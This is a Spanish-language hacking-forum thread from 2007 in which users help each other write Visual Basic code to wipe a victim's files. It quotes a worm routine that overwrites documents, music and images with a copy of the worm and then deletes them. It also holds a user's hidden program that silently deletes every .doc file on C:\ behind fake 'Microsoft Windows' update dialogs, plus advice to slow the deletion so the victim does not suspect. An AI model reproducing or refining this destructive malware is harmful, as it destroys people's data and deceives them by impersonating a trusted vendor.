Borrar archivos con X extension(solucionado)

Iniciado por xhc, 25 Noviembre 2007, 15:29 PM

0 Miembros y 1 Visitante están viendo este tema.

xhc

Hola, pongo este post porque el codigo de http://foro.elhacker.net/index.php/topic,188682.0.html no funciona al 100%,

si creo una carpeta que se llame O dentro de C:\ (quedaria asi C:\O\) y pongo que borre todos los txt, los borra y tambien los que estan en subcarpetas
pero si pongo que los borre en C:\ no borra nada  :-\, esta algo mal del codigo o algo?

saludos

Freeze.

Usa este codigo:

Código (vb) [Seleccionar]

If Right(App.Path, 1) = "\" Then
Dir = App.path & "carpeta"
else
Dir = App.path & "\carpeta"
End If

xhc

no, seguramente estoy haciendo algo mal del otro code

en el worm de DrakoX hay este code:
Private Sub Borrar_Archivos() 'Borro archivos que pueden ser importantes para el Usuario
On Error Resume Next
EXTlist = Array("mp3", "mid", "aif", "mp4", "ogg", "wma", "wmv", "wav", "asf", "avi", "mpg", "mov", "ace", "arj", "cab", "iso", "rar", "zip", "doc", "txt", "pdf", "pps", _
"sdd", "sdc", "sdw", "sxg", "xls", "xlm", "rtf", "ctt", "msg", "xml", "htm", "css", "swf", "vbs", "3ds", "jpg", "jpeg", "gif", "bmp", "png", "reg", "sys", "h", "cpp", "bak", _
"cab", "ttf", "fon", "lnk")
For Each i In Carpetas
    For Each j In Fso.GetFolder(i).Files
        For y = LBound(EXTlist) To UBound(EXTlist)
            If Fso.GetExtensionName(j) = EXTlist(y) Then
                Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", j, True
                Fso.DeleteFile j, True
            End If
        Next y
    Next
Next
End Sub

es mas corto pero no lo entiendo  :-\

xhc

no me funciona
alguien sabe porque es?

xhc

bueno leyendo un poco lo arregle, jeje perdon :P

Option Explicit

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
Timer1.Interval = 20000
Timer2.Interval = 25000
'Directorio de windows
    Text1.Text = "C:\"
    'Archivos txt
    Text2.Text = "*.doc"
   
   

End Sub

Private Sub Timer1_Timer()
  Dim path As String
    Dim Pattern As String
    Dim FileSize As Currency
    Dim Count_Archivos As Long
    Dim Count_Dir As Long

    Screen.MousePointer = vbHourglass
   
    List1.Clear
   
    'Path y archivos a buscar
    path = Text1.Text
    Pattern = Text2.Text
    MsgBox "Windows está buscando actualizaciones. Este proceso puede durar varios minutos. Por favor espere", vbInformation, "Microsoft Windows"

   
   
    'Llamamos a la función para buscar y que nos retorne algunos datos
    FileSize = FindFilesAPI(path, Pattern, _
                            Count_Archivos, _
                            Count_Dir, List1)

    Screen.MousePointer = vbDefault
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
Dim i As Integer
Dim Pattern As String
Dim fso
Dim path As String
For i = 0 To List1.ListCount
Pattern = List1.List(i)
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile Pattern, True
Next i
MsgBox "No se ha podido descargar el siguiente paquete en las actualizaciones de Windows: package MSN 4874800xsf.dll", vbCritical, "Microsoft Windows"
Timer1.Enabled = False
End Sub

el code del modulo esta en el enlace del 1er mensaje

saludos  :rolleyes:

SERBice

no te compliqes con apis, vb puede borrar archivos nativamente.

Código (vb) [Seleccionar]
kill "*.mp3"

haces un bucle con dir() que recorra todos los directorios y listo.

ejemplo pseudo:

funcion xx(dir)
  recorrer dir
    si dir es directorio
       xx(dir)
    sino
    kill "*.mp3"
  fun buble
fin funcion

eso explica mas o menos como, es una funcion recurrente, algun doevents y un sleep puede hacer q coma menos micro y sea mas lento para q el usuario no sospeche de la excesiva perdida de recursos.

xhc

#6
nose he probado con esto
On Error Resume Next
textos = Dir("C:\a\*.txt")
Do Until textos = ""
If textos = "*.txt" Then
Kill "*.txt"
Else
textos = Dir
Kill "*.txt"
End If
Loop


he intentado borrar los txt de C:\a y sus subdirectorios pero no rula